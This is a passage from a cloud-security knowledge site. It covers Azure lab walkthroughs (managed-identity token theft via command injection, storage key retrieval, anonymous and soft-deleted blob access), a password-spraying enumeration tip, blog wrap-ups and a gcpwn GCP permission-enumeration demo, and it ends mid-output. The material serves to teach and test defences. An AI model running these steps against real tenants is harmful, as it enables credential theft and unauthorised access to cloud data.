So in our case, we should see under the Storage Account that the web application has Reader and Data Access:

"},{"location":"azure/abusing-managed-identities/#next-steps","title":"Next steps","text":"

Now that we have the basics of how Managed Identity works, let\u2019s see how can we exploit this. Since the web application has access to the storage account, and we compromised the web application, we should also be able to gain access to the storage account as well. Simply put, we get the same permissions that compromised resource has assignred to it. Based on how poorly the Identity roles are assigned, it could even be the case that the permissions are assigned at the Subscription level, effectively granting us access to all the resources within the subscription!

While in our case it appears that the permissions are proper (we are limiting access only to the Storage Account that we need access to) and limit the roles to Reader and Data Access (instead of Contributor or Owner), there is still a caveat that allows us to exploit the access privileges. The web app only requires permissions to access the \"images\" container, however the identity access has been misconfigured and allows the application read permissions for all keys on the storage account. Thus granting the attacker the ability to access any container within the same account.

"},{"location":"azure/abusing-managed-identities/#exploiting-azure-managed-identity","title":"Exploiting Azure Managed Identity","text":"

Utilising command injection on the web app, we are able to make a curl request to the $IDENTITY_ENDPOINT URL stored in the environment variables and get an Access token and Account ID (clientId in the response) which can be used to authenticate to Azure.

curl \"$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01\" -H secret:$IDENTITY_HEADER\n

Using the Azure Powershell module, we can connect to Azure with the access token:

PS> Install-Module -Name Az -Repository PSGallery -Force\nPS> Connect-AzAccount -AccessToken <access_token> -AccountId <client_id>\n

Once the connection has been established, you will be able to see the details for the tenant, subscription and other details the compromised managed identity has access to - using the Get-AzResource Azure Powershell cmdlet, we can check which resources inside the subscription we can access:

To list the roles assigned to the managed identity, we can use the Azure Powershell cmdlet Get-AzRoleAssignment. This cmdlet requires and additional token from the Graph API which we can get from the https://graph.microsoft.com/ endpoint, additionally it requires the permission to list roles and permissions for identities which the compromised Managed Identity does not have.

However, you can still try to access the Storage Account keys without these permissions and see if they are successful. For that you can use the Get-AzStorageAccountKey cmdlet with the Resource Group Name and Account Name that was found in the previous step.

Get storage account keys:

>Get-AzStorageAccountKey -ResourceGroupName \"0xpwnlab\" -AccountName \"0xpwnstorageacc\"\n\nKeyName Value                       Permissions CreationTime\n------- -----                       ----------- ----------\nkey1    L175hccq[...]lH9DJ==        Full 3/12/20...\nkey2    vcZiPzJp[...]ZkKvA==        Full 3/12/20...\n

http://aka.ms/storage-explorer

If the above command returns two keys, then it means that our identity had permissions to list them. Assuming this is the case - let\u2019s use these keys in Azure Storage Explorer and see if there are other containers stored on the same account.

In the Azure Storage Explorer, we click the connect icon and select storage account or service.

On the second step, this time we select the Account name and key option:

For the Account name we use the name that we enumerated in the Get-AzResource step, and for the key; either of the two returned keys will work:

Once we connect, on the left side menu we should find a new storage account, we see 2 containers: the images container used by the web app, but also another one containing the flag.

And that\u2019s it! We have just seen how utilising a command injection into a web app, we discovered that it had a managed identity associated to it. After we got the JWT access token, we connected to Azure using the Azure Powershell CLI and enumerated the resources that we have access to. The improper permissions set for the Managed Identity allowed us to read the access key for the whole Storage Account and discover another private container that was not referenced anywhere, containing the flag for sensitive information.

"},{"location":"azure/anonymous-blob-access/","title":"Anonymous Blob Access","text":"
  • Original Research

    Create an Azure Vulnerable Lab: Part #1 \u2013 Anonymous Blob Access by Andrei Agape

\"Storage Accounts\" is the service provided by Azure to store data in the cloud. A storage account can used to store:

  • Blobs
  • File shares
  • Tables
  • Queues
  • VM disks

For this tutorial, we will focus on the Blobs section. Blobs are stored within a container, and we can have multiple containers within a storage account. When we create a container, Azure will ask on the permissions that we grant for public access. We can chose between:

  • Private Access \u2013 no anonymous access is allowed
  • Blob Access \u2013 we can access the blobs anonymously, as long as we know the full URL (container name + blob name)
  • Container Access \u2013 we can access the blobs anonymously, as long we know the container name (directory listing is enabled, and we can see all the files stored inside the container)

As you might have guessed, granting Container Access permission can be easily abused to download all the files stored within the container without any permissions as the only things required to be known are the storage account name and the container name, both of which can be enumerated with wordlists.

"},{"location":"azure/anonymous-blob-access/#exploiting-anonymous-blob-access","title":"Exploiting Anonymous Blob Access","text":"

Now, there are thousands of articles explaining how this can be abused and how to search for insecure storage in Azure, but to make things easier I\u2019ll do a TL:DR. One of the easiest way is to use MicroBurst, provide the storage account name to search for, and it\u2019ll check if the containers exists based on a wordlist saved in the Misc/permutations.txt:

PS > import-module .\\MicroBurst.psm1\nPS> Invoke-EnumerateAzureBlobs -Base 0xpwnstorageacc\nFound Storage Account - 0xpwnstorageacc.blob.core.windows.net\nFound Container - 0xpwnstorageacc.blob.core.windows.net/public\nPublic File Available: https://0xpwnstorageacc.blob.core.windows.net/public/flag.txt\n

Alternatively adding ?restype=container&comp=list after the container name:

https://<storage_account>.blob.core.windows.net/<container>?restype=container&comp=list\n
Output:
<EnumerationResults ContainerName=\"https://0xpwnstorageacc.blob.core.windows.net/public\">\n    <Blobs>\n        <Blob>\n            <Name>flag.txt</Name>\n            <Url>\nhttps://0xpwnstorageacc.blob.core.windows.net/public/flag.txt\n</Url>\n            <Properties>\n                <Last-Modified>Sat, 05 Mar 2022 18:02:14 GMT</Last-Modified>\n                <Etag>0x8D9FED247B7848D</Etag>\n                <Content-Length>34</Content-Length>\n                <Content-Type>text/plain</Content-Type>\n                <Content-Encoding/>\n                <Content-Language/>\n                <Content-MD5>lur6Yvd173x6Zl1HUGvtag==</Content-MD5>\n                <Cache-Control/>\n                <BlobType>BlockBlob</BlobType>\n                <LeaseStatus>unlocked</LeaseStatus>\n            </Properties>\n        </Blob>\n    </Blobs>\n    <NextMarker/>\n</EnumerationResults>\n

"},{"location":"azure/enum_email_addresses/","title":"Unauthenticated Enumeration of Valid Azure Active Directory Email Addresses","text":"

You can enumerate valid email addresses associated with the Azure Active Directory service using CredMaster or Quiet Riot. These addresses can be used for password spraying attacks, a technique where an attacker attempts to authenticate against multiple accounts using a set of commonly used passwords. This can potentially grant unauthorized access to the target account. It can also be used to test for valid Root User accounts in AWS, assuming that the email address is the same. Then, a similar password spraying approach can be implemented against identified AWS Root User accounts.

"},{"location":"azure/soft-deleted-blobs/","title":"Soft Deleted Blobs","text":"
  • Original Research

    0xPwN Blog - Create an Azure Vulnerable Lab: Part #3 \u2013 Soft Deleted Blobs by Andrei Agape

In this tutorial we will see how data that has been deleted from a private Storage Account Container can still be a risk in some cases. Even if we know the full path of resources uploaded to a private container, Azure requires authentication to be accessed. To provide access we can choose between:

  • A shared access signature (SAS) \u2013 is a URI that grants restricted access to an Azure Storage container. Use it when you want to grant access to storage account resources for a specific time range without sharing your storage account key.
  • A connection string includes the authorization information required for your application to access data in an Azure Storage account at runtime using Shared Key authorization.
  • Managed Identities

For the sake of this tutorial, we will pretend to be a developer that uses the connection string and saves it in a config file/source code deployed to Azure. Additionally, the web application deployed has a command injection vulnerability. We can find the connection string of a Storage Account in the Azure portal as shown below:

Now, the problem here is that we are giving access to the whole storage account by passing the connection string into the web app. Azure supports granular access for specific containers, for a limited amount of time, or event for a specific file within the container! But for convenience (or lack of knowledge), a developer might deploy the connection string for the entire storage account. Don\u2019t be that developer.

The second part of this tutorial is about recovering deleted blobs. By default, when creating a storage container using the Portal, the Soft Deletion is enabled with 7 days retention time. Now image that you got access to a storage account with tens of containers, and someone at some point mistakenly uploaded an SSH key to one of these containers and than deleted it without being aware of the 7 day retention day \u201cfeature\u201d.

"},{"location":"azure/soft-deleted-blobs/#exploiting-soft-deleted-blobs","title":"Exploiting Soft Deleted Blobs","text":"

Now, to exploit this vulnerability we navigate to the web application vulnerable to command injection and start poking around. Listing the files in the current directory, we can find among other the source code in the app.py:

Listing the contents of this file, we can see there is a connection string stored inside (our placeholder has been replaced at runtime with the actual value of the container):

Inside the Microsoft Azure Container Explorer, we specify that we want to connect to a storage account

And that we want to use a Connection String

And we paste the value of the conn_str variable that we found in the source code, and connect:

On the left side menu, a new storage account should show up. Navigate to the Blob Containers -> images and open it:

At first glance, it seems that nothing of interest is stored here. Remember the flag that we accidentally uploaded? Change the view to Active and soft deleted blobs:

And voila! Right click -> Undelete

"},{"location":"blog/2022_wrap-up/","title":"2022 Wrap-up","text":"

Nick Frichette \u00b7 @frichette_n \u00b7 December 14, 2022

2022 is coming to a close and it's time to look back on the year. For Hacking the Cloud, 2022 has been a year of steady improvements. We've consistently had new content and new techniques added to the catalog throughout the year. We also expanded the type of content we offer with a full-blown, custom, CTF! With all that in mind, here are some accomplishments for the site this year, along with some noteworthy updates.

"},{"location":"blog/2022_wrap-up/#numbers","title":"Numbers","text":"

I think the best way to view how well the site is doing is to see some numbers. Here are some fun statistics. All data was pulled ~6PM Central, December 13th. In 2022, Hacking the Cloud has:

  • 625 stars gained on GitHub
  • 225 commits committed
  • 73,925 visits
  • 124,278 page views
  • 6,408 average monthly visitors (excluding December)
  • 9,763 average monthly visitors in the past quarter!

November in particular was a high traffic month, presumably because of multiple articles being released and gaining traction on Google's Discover.

Compared to 2021, visitor count has increased over 94%! (Note: 2022 is not over, hence the dotted line for 2022)

We have also reached 17 contributors officially on GitHub! I want to personally thank every single one of you who took the time to contribute to the site. Especially for Azure and GCP which I have no knowledge of. You all make this possible and I appreciate your contributions deeply.

"},{"location":"blog/2022_wrap-up/#most-popular-articles","title":"Most Popular Articles","text":"

Some more numbers; this time the most popular articles along with page views:

  1. Steal EC2 Metadata Credentials via SSRF - 10,963 page views!
  2. CI/CDon't - 5,842 page views.
  3. AWS Organizations Defaults - 5,325 page views.
  4. Connection Tracking - 5,209 page views.
  5. Using Stolen IAM Credentials - 5,043 page views.

Once again, the Steal EC2 Metadata Credentials via SSRF article was the number one most popular page on the site! I think this is mostly attributed to high SEO ranking, along with it being a crucial security topic.

CI/CDon't was a surprise runner up, but a happy surprise. I made this CTF specifically for Hacking the Cloud to cover some important security topics. I'm hoping that view count is indicative that folks enjoyed it and perhaps a few played it themselves.

Using Stolen IAM Credentials ranking in the top 5 was another happy surprise. This article deviates from the standard type of article we would normally host. Typically each page of Hacking the Cloud is dedicated to an individual technique. This article was an attempt to create a \"playbook\" that would explain how an attacker should operate in a certain situation, along with OPSEC considerations. Considering that this article has been viewed so much, I definitely plan to continue this type of content. Perhaps with accompanying video content?

"},{"location":"blog/2022_wrap-up/#rss-feeds","title":"RSS Feeds!","text":"

If you want to be the first to know when a new technique has been added to Hacking the Cloud, I have good news for you! We now have two RSS feeds thanks to the mkdocs-rss-plugin. The created feed (also linked in the footer) is the recommended feed to follow if you'd like to be notified when a new article has been added. We also have an updated feed, in case you want a notification every time a page is changed (not recommended but nobody is stopping you).

Please note, I've been a little wary about adding RSS support to Hacking the Cloud out of fear that something will go wrong. So far, testing has been positive, but I apologize in advance if something goes haywire and you get spammed with notifications.

"},{"location":"blog/2022_wrap-up/#plagiarism","title":"Plagiarism","text":"

Last month, I was made aware that another site was copying entire articles from Hacking the Cloud and publishing them on their own site. You can see some examples below.

Hacking the Cloud Copy

As you can imagine, I was pretty unhappy with this for a number of reasons. Writing content for Hacking the Cloud takes a significant time investment. Setting up test infrastructure, getting screenshots, validating logs, ensuring everything written is 100% accurate (and fixing it when things slip through) is a huge endeavor. It is deflating and frustrating when another site claims they have more content, only for you to find a non-insignificant portion of that content was copied and pasted from your work and the work of people who took time to contribute to your project.

Furthermore, it is even more upsetting when that site has a banner seeking company sponsorships and subscription plans, potentially profiting off of work done for Hacking the Cloud (I should mention, when asked about this, the site owner told me the site does not make money).

I am 100% supportive of citing other researchers. It's why Hacking the Cloud has links to original research, additional resources, and references at the top of each article, front and center. However, there is a huge difference between citing someone, or crediting someone, and copying the entire article, word-for-word.

To that site owner's credit, when I raised these concerns with them they were quick to remove the plagiarized content. To my knowledge this has not been a problem since, and I don't hold any ill-will towards them.

Feb 2024 Update

It has been brought to my attention that HackTricks Cloud is still engaging in blatant plagiarism of a variety of different sources, including plagiarizing Hacking the Cloud content. Please see this this Twitter thread for some examples. Please see this thread for more examples. I recommend avoiding their training course because of this. Copying and pasting blog posts and referencing those as training materials does not inspire confidence.

As a result of this incident, however, I have added additional language to our existing Plagiarism Policy to further enforce that we will not accept plagiarized content on Hacking the Cloud. Additionally, I have added additional guarantees that I will remove links/references at the author's request (including situations that don't involve plagiarism).

Hacking the Cloud uses the MIT License which, in retrospect, was a big mistake. When this decision was made, I was not considering the potential for someone to copy content from the site and potentially monetizing it. I have spent some time looking into this, but I am not a lawyer, I don't know a thing about copyright, and I have not had much luck finding resources on how we can better protect the site's content. If you have any experience in this domain, I would love to hear from you.

"},{"location":"blog/2022_wrap-up/#mastodon","title":"Mastodon","text":"

In a bit of an experiment, Hacking the Cloud now has its own Mastodon account! My goal with this account is to try something new. In the short term, I'd like to add a GitHub action to post to the account when a new article is published, along with posting release notes for the site.

Long term, I'd like to cover broader cloud security news, and highlight interesting research or findings. I'm considering hooking it up to the RSS feeds of some well known blogs and sharing cloud security news that way. Feel free to give the account a follow if you're interested.

"},{"location":"blog/2022_wrap-up/#plans-for-the-future","title":"Plans for the Future","text":"

Aside from continuing to add to the catalog of AWS attack techniques, I have three initiatives for Hacking the Cloud in 2023. The first, as mentioned previously, will be to add what I will loosely call \"playbooks\"; step by step guides demonstrating some path along the exploit chain. With this type of content, I think there is an opportunity to showcase how individual techniques can be chained together and demonstrate how an attacker can operate in a cloud environment.

The second major initiative is to begin adding Kubernetes attacks to the mix. While not strictly cloud-specific (I'm running a kubernetes cluster 5 feet from where I'm sitting. And, no, I haven't broken into us-east-1.... yet.), it is undeniable that Kubernetes is a massive part of many organizations' security posture. Things may get a bit blurred if anything is specific to the cloud provider's implementation of Kubernetes but we'll cross that bridge when we get to it.

And finally, I'd like to add more resources to the site related to real world attacks. Currently, I'm planning to add references to individual techniques if they were seen in the wild and where. This way, we can get an understanding of attack trends and prioritize defenses based on real-world usage.

"},{"location":"blog/2022_wrap-up/#conclusion","title":"Conclusion","text":"

I hope you had a good 2022 and have an even better 2023. May every vulnerability you find be a critical! Happy holidays!

"},{"location":"blog/2023_wrap-up/","title":"2023 Wrap-up","text":"

Nick Frichette \u00b7 @frichette_n \u00b7 December 20, 2023

2023 is coming to a close and it\u2019s time to look back on the year. This was the third year that Hacking the Cloud has been operating, sharing techniques on attacking and defending cloud environments. We\u2019ve added a number of new articles to the site and updated old ones. With all this in mind, here are some accomplishments for the site this year.

"},{"location":"blog/2023_wrap-up/#numbers","title":"Numbers","text":"

Here are some fun stats. All data was pulled ~6PM central, December 19th. In 2023, Hacking the Cloud has:

  • 457 stars gained on GitHub (1389 total)
  • 128 commits committed
  • 96,031 visits
  • 187,542 pageviews
  • 8,238 average monthly visitors (excluding December)
  • And a partridge in a pear tree

Compared to 2023, the visitor count has increased 29.9%, pageviews 50.9%, and average monthly visitors 28.6%!

The number of total contributors to the site has also increased to 25 (up from 17). A major thank you to everyone who has contributed to building Hacking the Cloud. From the smallest fix of a typo, to writing entire articles, everything helps make the site a better source for cloud security information. All our contributors make this site possible and I appreciate their efforts deeply.

"},{"location":"blog/2023_wrap-up/#most-popular-articles","title":"Most popular articles","text":"

An area that I\u2019m always interested in are our most popular articles. What topics are cloud security professionals interested in learning about? What articles are being shared in Jira tickets to be fixed? Here are the top 5 most popular articles:

  1. Steal EC2 Metadata Credentials via SSRF - 16,234 pageviews!
  2. AWS Organizations Defaults & Pivoting - 15,343 pageviews.
  3. Abusing Managed Identities - 5,703 pageviews.
  4. Using Stolen IAM Credentials - 5,594 pageviews.
  5. Connection Tracking - 4,869 pageviews.

For the third year running, \u201cSteal EC2 Metadata Credentials via SSRF\u201d is our most popular article, but unlike previous years it\u2019s not by a landslide. This article, and by extension, this technique, is a cornerstone of AWS security. Stealing IAM credentials from the instance metadata service via SSRF has provided many penetration testers and red teamers the initial access they needed in an environment. Starting next year however, AWS has announced that IMDSv2 will be the only option going forward. Will this mean that this beloved technique will be a thing of the past? I guess we\u2019ll have to check the stats next year.

In second place, and very close to first, we have \u201cAWS Organizations Defaults & Pivoting\u201d. I think this rise in viewership can be attested to a growing understanding amongst offensive security professionals that cross-account trust is a huge lateral movement opportunity that can be taken advantage of. This article touches on the OrganizationAccountAccessRole, one of my favorite roles in AWS which potentially can be abused to take over every AWS account in an organization. A major thank you to Scott Weston for all his efforts in expanding on the article and adding more content.

In third place, we have the first non-AWS article to ever make a top 5 (and I\u2019m pretty sure a top 10), \u201cAbusing Managed Identities\u201d. In this article Andrei Agape describes how you can take advantage of a managed identity to access other Azure resources. As an exclusively AWS person, I\u2019m excited to see more interest in other cloud providers. If you aren\u2019t an AWS person and want to share some knowledge about cloud security, feel free to open a pull request and share your knowledge with others!

"},{"location":"blog/2023_wrap-up/#most-popular-social-networks","title":"Most popular social networks","text":"

If you\u2019re interested in learning more about cloud security, you may also be interested in discussing with like-minded people. Social media can make that a lot easier. Here are the top social media websites with content that linked to Hacking the Cloud articles that got clicks.

  1. LinkedIn - 42% of links
  2. Twitter - 30% of links
  3. GitHub - 13% of links
  4. Reddit - 9% of links
  5. Facebook - 6% of links
  6. Others - <1%

LinkedIn reigns supreme this year with 42% of all social media links. Perhaps, aside from all the hustle culture, there may be a thriving community of cloud security professionals there.

In what may be a surprise to some (but not others), it looks like the InfoSec flight from Twitter might have some data backing it up. Twitter made up only 30% of links in 2023, down from 40% in 2022.

For my Mastodon fans, I wouldn\u2019t worry about not showing up on the leaderboards. Because of the distributed nature of the network, there isn\u2019t a very easy way to track it. Personally, I\u2019ve found a number of technical people interested in chatting about tech. If you are on the woolly site you can even follow Hacking the Cloud on Mastodon!

"},{"location":"blog/2023_wrap-up/#thank-you","title":"Thank you!","text":"

Again, I want to say thank you to everyone who has shared the site\u2019s content, contributed to making it better, or even for just saying a kind word. Hacking the Cloud has been a passion project for years now, trying to make cloud security information more accessible for the community. Thank you all for an amazing 2023, and I look forward to 2024!

"},{"location":"blog/v2_new_look/","title":"Hacking The Cloud v2: New Look","text":"

Nick Frichette \u00b7 @frichette_n \u00b7 December 6, 2021

Whoa! Things look a little different? You're not imagining it.

The old look.

Hacking The Cloud now uses Material for MkDocs to render the beautiful HTML you see before you.

"},{"location":"blog/v2_new_look/#why-the-change","title":"Why the Change?","text":"

When Hacking The Cloud was first started in mid-2020, I was primarily focused on getting the project off the ground and wasn't particularly interested in the formatting or appearance. This resulted in the choice to use a familiar technology (Hugo) and finding a freely available theme for it (zDoc).

This helped get the project up and running quickly and allowed me to work on getting the first few pages created. Over time, however, small changes were need. Increased font size, changes to the navigation layout, CSS tweaks, etc. Recently more time has been spent making sure things looked okay rather than actually creating content.

To be clear, the zDoc theme is excellent, there were just some changes needed that made the theme difficult to use for our purposes. These needs, combined with the appearance that the theme is no longer actively maintained, had caused me to look for something different.

"},{"location":"blog/v2_new_look/#why-material-for-mkdocs","title":"Why Material for MkDocs?","text":"

For the past several months I've been looking for a suitable replacement. My list of requirements was high. Additionally, I was looking for something simple, easy to use, and wouldn't have me constantly thinking, \"does this look okay on mobile?\".

By pure luck, I found what I was looking for. Kinnaird McQuade happened to retweet an announcement from the Material for MkDocs project, and I was hooked. It looked great, supported Markdown, had admonitions, code blocks, produced static HTML, client-side search, and just about everything else I was looking for.

More than that, it's fun and easy to work with.

If you'd like to support Material for MkDocs you can join me in sponsoring the project.

"},{"location":"blog/v2_new_look/#what-does-this-mean-for-you","title":"What Does This Mean for You?","text":"

Honestly, not a whole lot. Hacking the Cloud will now look a lot better on desktop and mobile. This will free up time and resources to focus on what actually matters, the content.

For folks interested in contributing, you are only a pull request away! Our contributing guide has everything you need to get up and running. If you have any questions or ideas feel free to start a conversation on our discussions page.

"},{"location":"gcp/capture_the_flag/gcp-goat/","title":"GCP Goat","text":"

GCP-Goat is the vulnerable application for learning the Google Cloud Security

The Application consists of the following scenarios

  • Attacking Compute Engine
  • Attacking Sql Instance
  • Attacking GKE
  • Attacking GCS
  • Privilege Escalation
  • Privilege Escalation in Compute Engine

Project-Link

"},{"location":"gcp/capture_the_flag/thunder_ctf/","title":"Thunder CTF","text":"

Thunder CTF allows players to practice attacking vulnerable cloud projects on Google Cloud Platform (GCP). In each level, players are tasked with exploiting a cloud deployment to find a \"secret\" integer stored within it. Key to the CTF is a progressive set of hints that can be used by players when they are stuck so that levels can be solved by players of all levels from novices to experts.

The CTF is available at https://thunder-ctf.cloud/.

The GitHub repository for the Thunder CTF also includes:

  • Least Privileges
  • Cloud Audit

Least Privilege CTF (slides) is an extension of Thunder CTF. Least Privilege levels have been desgined to help understand Google Cloud Platform's IAM roles and permissions.

Cloud Audit is a series of code labs that will walk you through a few basic and a few more advanced cloud security concepts from a defender point of view.

"},{"location":"gcp/capture_the_flag/thunder_ctf/#links","title":"Links:","text":"
  • Website
  • GitHub
"},{"location":"gcp/enumeration/enum_email_addresses/","title":"Unauthenticated Enumeration of Valid Google Workspace Email Addresses","text":"

You can enumerate valid email addresses associated with the Google Workspace service using Quiet Riot. These addresses can be used for password spraying attacks, a technique where an attacker attempts to authenticate against multiple accounts using a set of commonly used passwords. This can potentially grant unauthorized access to the target account. It can also be used to test for valid Root User accounts in AWS, assuming that the email address is the same. Then, a similar password spraying approach can be implemented against identified AWS Root User accounts.

"},{"location":"gcp/enumeration/enumerate_all_permissions/","title":"Enumerate Org/Folder/Project Permissions + Individual Resource Permissions","text":"
  • Tools mentioned in this article

    gcpwn

"},{"location":"gcp/enumeration/enumerate_all_permissions/#what-is-testiampermissions","title":"What is testIamPermissions?","text":"

GCP offers a \"testIamPermissions\" API call on most resources that support policies. This includes resources like:

  • Organizations
  • Folders
  • Projects
  • Compute Instances
  • Cloud Functions

In MOST cases, the general psuedo-code is the same regardless of the resource. However, the permissions allowed are usually dependent on the resource.

For example, for \"Projects\" (probably 99% of people's interest), testIamPermissions is documented here. Note the general pattern is passing in an array (or list) of individual permissions and the service will return the list of permissions the caller is allowed in that specific project. So in the example below, we pass in a large number of permissions and maybe just \"cloudfunctions.functions.list\" is returned indicating our caller has that permission within this project (aka, can list all cloud functions in this project).

# Input\n{\n  \"permissions\": [\n    compute.instances.addAccessConfig\n    cloudfunctions.functions.list\n    etc\n  ]\n}\n\n# Output\n{\n  \"permissions\": [\n     cloudfunctions.functions.list\n  ]\n}\n

However, testIamPermissions does NOT just exist for projects. The compute service allows you to specify permissions at the compute instance level (as opposed to the project level). As such, testIamPermissions actually exists for instances as well shown in the documentation here. You'll notice the API call is pretty much the same as the projects API call in that it takes in a big list of permission and returns the list of permissions the caller has on THAT specific instance; we are just calling testIamPermissions on the instance as opposed to the project. Also note we could not pass in \"cloudfunctions.functions.list\", for example, to the instances testIamPermissions as it will only accept instance-level permissions.

# Input\n{\n  \"permissions\": [\n                'compute.instances.addAccessConfig',\n                'compute.instances.addMaintenancePolicies',\n                'compute.instances.addResourcePolicies',\n                'compute.instances.attachDisk',\n                'compute.instances.createTagBinding',\n                'compute.instances.delete',\n                'compute.instances.deleteAccessConfig',\n                'compute.instances.deleteTagBinding',\n                'compute.instances.detachDisk',\n                'compute.instances.get',\n                'compute.instances.getEffectiveFirewalls',\n                'compute.instances.getGuestAttributes',\n                'compute.instances.getIamPolicy',\n                'compute.instances.getScreenshot',\n                'compute.instances.getSerialPortOutput',\n                'compute.instances.getShieldedInstanceIdentity',\n                'compute.instances.getShieldedVmIdentity',\n                'compute.instances.listEffectiveTags',\n                'compute.instances.listReferrers',\n                'compute.instances.listTagBindings',\n                'compute.instances.osAdminLogin',\n                'compute.instances.osLogin',\n                'compute.instances.removeMaintenancePolicies',\n                'compute.instances.removeResourcePolicies',\n                'compute.instances.reset',\n                'compute.instances.resume',\n                'compute.instances.sendDiagnosticInterrupt',\n                'compute.instances.setDeletionProtection',\n                'compute.instances.setDiskAutoDelete',\n                'compute.instances.setIamPolicy',\n                'compute.instances.setLabels',\n                'compute.instances.setMachineResources',\n                'compute.instances.setMachineType',\n                'compute.instances.setMetadata',\n                'compute.instances.setMinCpuPlatform',\n                'compute.instances.setName',\n                'compute.instances.setScheduling',\n                'compute.instances.setSecurityPolicy',\n                'compute.instances.setServiceAccount',\n                'compute.instances.setShieldedInstanceIntegrityPolicy',\n                'compute.instances.setShieldedVmIntegrityPolicy',\n                'compute.instances.setTags',\n                'compute.instances.simulateMaintenanceEvent',\n                'compute.instances.start',\n                'compute.instances.startWithEncryptionKey',\n                'compute.instances.stop',\n                'compute.instances.suspend',\n                'compute.instances.update',\n                'compute.instances.updateAccessConfig',\n                'compute.instances.updateDisplayDevice',\n                'compute.instances.updateNetworkInterface',\n                'compute.instances.updateSecurity',\n                'compute.instances.updateShieldedInstanceConfig',\n                'compute.instances.updateShieldedVmConfig',\n                'compute.instances.use',\n                'compute.instances.useReadOnly'\n  ]\n}\n\n# Output\n{\n  \"permissions\": [\n                'compute.instances.start',\n                'compute.instances.startWithEncryptionKey',\n                'compute.instances.stop',\n  ]\n}\n
"},{"location":"gcp/enumeration/enumerate_all_permissions/#gcpwn-introduction","title":"GCPwn Introduction","text":"

gcpwn is a tool that will run testIamPermission on all resources identified if specified by the end user. This means it will cover testIamPermission test cases for organizations, projects, folders, compute instances, cloud functions, cloud storage (buckets), service accounts, etc. For orgs/projects/folders it runs a small list of permissions as the input but you can specify through flags to brute force ~9500 permissions.

To install the tool, follow the installation instructions here. Once installed, review the \"Common Use Cases\" which covers both of the items above.

To see a live demo, you can watch this which covers testIamPermissions briefly.

Note

The tool will also passively record all API permissions you were able to call regardless if testIamPermissions is used, testIamPermissions just will give you more permissions back usually.

"},{"location":"gcp/enumeration/enumerate_all_permissions/#enumerate-permissions-on-individual-resources","title":"Enumerate Permissions on Individual Resources","text":"

Each enumeration module (ex. enum_instances) in the tool allows you to pass in an --iam flag that will call testIamPermissions on the resource while enumerating it. Once run, you can run creds info as shown below and this will list out all the permissions your caller has. Review the POC below.

  1. Show the value for the service account key. Note the same technique can be used for application default credentials (username/password) as well as standalone Oauth2 tokens
  2. Start up the tool via python3 main.py. Load in the service account credentials for the file we just showed.
  3. Now that the credentials are loaded in and the project is set (Note if project is Unknown you can set it with projects set <project_id>), run creds info and note that NO permissions are known for the current user
  4. Run enum_instances and see an instance is found. Run creds info again and note that permission are now populated saying the user has compute.instances.list on the project and compute.instances.get on the instance itself.
  5. Run enum_instances again but now include testIamPermission calls with the --iam flag. Run creds info again and note way more permissions were identified for the specified compute instance as gcpwn ran testIamPermissions during the enumeration phaes and saved the results. Now we can see our caller has not just compute.instances.get but compute.instances.addAccessConfig, compute.instances.addMaintenancePolicies, compute.instances.addResourcePolicies, etc. on instance-20240630-025631
  6. This is hard to read. So you can pass in --csv with creds info to export it to an easy to read Excel file. creds info will highlight \"dangerous\" permissions red and the resulting CSV has a column for True/False for dangerous permissions.
\u250c\u2500\u2500(kali\u327fkali)-[~/gcpwn]\n\u2514\u2500$ cat key.json\n{\n  \"type\": \"service_account\",\n  \"project_id\": \"production-project[TRUNCATED]\",\n  \"private_key_id\": \"2912[TRUNCATED]\",\n  \"private_key\": \"-----BEGIN PRIVATE KEY-----\\nMIIEvQIBADANBgkqhkiG9w0B[RECACTED]\\n-----END PRIVATE KEY-----\\n\",\n  \"client_email\": \"newserviceaccount@production-project[TRUNCATED].iam.gserviceaccount.com\",\n  \"client_id\": \"11[TRUNCATED]\",\n  \"auth_uri\": \"https://accounts.google.com/o/oauth2/auth\",\n  \"token_uri\": \"https://oauth2.googleapis.com/token\",\n  \"auth_provider_x509_cert_url\": \"https://www.googleapis.com/oauth2/v1/certs\",\n  \"client_x509_cert_url\": \"https://www.googleapis.com/robot/v1/metadata/x509/newserviceaccount%40production-project[TRUNCATED].iam.gserviceaccount.com\",\n  \"universe_domain\": \"googleapis.com\"\n}\n\n\u250c\u2500\u2500(kali\u327fkali)-[~/gcpwn]\n\u2514\u2500$ python3 main.py \n[*] No workspaces were detected. Please provide the name for your first workspace below.\n> New workspace name: DemoWorkspace\n[*] Workspace 'DemoWorkspace' created.\n\n[TRUNCATED]\n\n[*] Listing existing credentials...\n\n\nSubmit the name or index of an existing credential from above, or add NEW credentials via Application Default \nCredentails (adc - google.auth.default()), a file pointing to adc credentials, a standalone OAuth2 Token, \nor Service credentials. See wiki for details on each. To proceed with no credentials just hit ENTER and submit \nan empty string. \n[1] *adc      <credential_name> [tokeninfo]                    (ex. adc mydefaultcreds [tokeninfo]) \n[2] *adc-file <credential_name> <filepath> [tokeninfo]         (ex. adc-file mydefaultcreds /tmp/name2.json)\n[3] *oauth2   <credential_name> <token_value> [tokeninfo]      (ex. oauth2 mydefaultcreds ya[TRUNCATED]i3jJK)  \n[4] service   <credential_name> <filepath_to_service_creds>    (ex. service mydefaultcreds /tmp/name2.json)\n\n*To get scope and/or email info for Oauth2 tokens (options 1-3) include a third argument of \n\"tokeninfo\" to send the tokens to Google's official oauth2 endpoint to get back scope. \ntokeninfo will set the credential name for oauth2, otherwise credential name will be used.\nAdvised for best results. See https://cloud.google.com/docs/authentication/token-types#access-contents.\nUsing tokeninfo will add scope/email to your references if not auto-picked up.\n\nInput: service service_user /home/kali/gcpwn/key.json\n[*] Credentials successfuly added\nLoading in Service Credentials...\n[*] Loaded credentials service_user\n(production-project[TRUNCATED]:service_user)> creds info\n\nSummary for service_user:\nEmail: newserviceaccount@production-project[TRUNCATED].iam.gserviceaccount.com\nScopes:\n    - N/A\nDefault Project: production-project[TRUNCATED]\nAll Projects:\n\nAccess Token: N/A\n(production-project[TRUNCATED]:service_user)> modules run enum_instances\n[*] Checking production-project[TRUNCATED] for instances...\n[**] Reviewing instance-20240630-025631\n[***] GET Instance\n[SUMMARY] GCPwn found 1 Instances in production-project[TRUNCATED]\n   - zones/us-central1-c                                                                                                                                                                    \n     - instance-20240630-025631                                                                                                                                                             \n(production-project[TRUNCATED]:service_user)> creds info\n\nSummary for service_user:\nEmail: newserviceaccount@production-project[TRUNCATED].iam.gserviceaccount.com\nScopes:\n    - N/A\nDefault Project: production-project[TRUNCATED]\nAll Projects:\n\nAccess Token: N/A\n\n[******] Permission Summary for service_user [******]\n- Project Permissions\n  - 